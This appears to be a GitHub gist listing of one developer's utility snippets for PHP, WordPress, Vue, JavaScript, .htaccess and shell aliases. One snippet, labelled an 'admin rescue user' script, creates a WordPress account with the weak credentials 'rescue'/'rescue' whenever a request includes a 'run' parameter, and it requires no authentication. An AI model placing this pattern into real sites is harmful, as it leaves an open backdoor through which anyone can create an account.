Skip to content

Instantly share code, notes, and snippets.

@Gkiokan
Gkiokan / Token.php
Last active May 24, 2019 07:12
PHP Token Generator v2
<?php
/*
Gist: PHP Token Generator v2
Author: Gkiokan Sali
Date: 2019-05-24
Description: Generate a unique token with a special format.
*/
namespace App\Utils;
@Gkiokan
Gkiokan / autoloadComponents.js
Created May 9, 2019 11:02
Autoload *.vue files as Component and register them
/*
Autoload all current vue files as component and register them by their name.
---
Author: Gkiokan Sali
Date: 2019-05-09
*/
import Vue from 'vue'
const requireContext = require.context('./', false, /.*\.vue$/)
@Gkiokan
Gkiokan / wp-cpt-custom-column.php
Created July 25, 2018 12:55
WP CPT Custom Columns
<?php
/*
File: WP Custom Columns Extension
Author: Gkiokan Sali
Date: 25.07.2018
*/
class CustomColumn {
@Gkiokan
Gkiokan / disable-rest-api.php
Last active July 25, 2018 11:24
WP Disable Rest API
<?php
/*
* Disable WP REST API JSON endpoints if user not logged in
*/
function chuck_disable_rest_endpoints( $access ) {
if( ! is_user_logged_in() ) {
return new WP_Error( 'rest_cannot_access', __( 'Only authenticated users can access the REST API.', 'disable-json-api' ), array( 'status' => rest_authorization_required_code() ) );
}
return $access;
}
@Gkiokan
Gkiokan / add_admin_user_rescue.php
Created May 15, 2018 07:55
Add WP Admin User programmatically (rescue user)
if(isset($_GET['run'])):
include_once './wp-blog-header.php';
$user = get_user_by('login', 'greyd');
if(!$user)
wp_insert_user([
'user_login' => 'rescue',
'user_url' => 'rescue',
'user_pass' => 'rescue',
@Gkiokan
Gkiokan / download_file_from_stream.js
Created May 14, 2018 12:19
JS Download DataStream
let blob = new Blob([this.stream], { type: 'application/csv' } )
let link = document.createElement('a')
link.href = window.URL.createObjectURL(blob)
link.download = this.get_download_name()
link.click()
@Gkiokan
Gkiokan / json-encode-decode-class.php
Created January 8, 2018 10:04
JSON full encode decode with UTF-8 support
/*
Data Class
* * * * * * *
Author: Gkiokan
Comment:
Encode and Decode Your String / Object / Array with utf-8 force.
*/
class Data {
// Encode
<?php
/*
VC Additions file for Extensions
*/
namespace G\VC;
new Fonts;
class Fonts {
@Gkiokan
Gkiokan / .htaccess
Created September 12, 2017 10:58
The WPMS non-www to www but grant access to wp-* problem in htaccess
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^domain\.com$
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !^/wp-admin
RewriteCond %{REQUEST_URI} !^/wp-json
RewriteRule ^(.*)$ http://www.domain.com/$1 [R=301,L]
@Gkiokan
Gkiokan / alias.sh
Last active September 14, 2017 08:23
Alias mapping in terminal
echo " > Loading Aliases "
# Basics
alias ..="cd .."
alias lsa="ls -al"
alias swatch="sass --watch "
alias sfull="sass --watch sass:css --style=compressed"
alias sf="sfull"
alias m="~/.dotfiles/mount.sh"
alias s="source ~/.dotfiles/server.sh"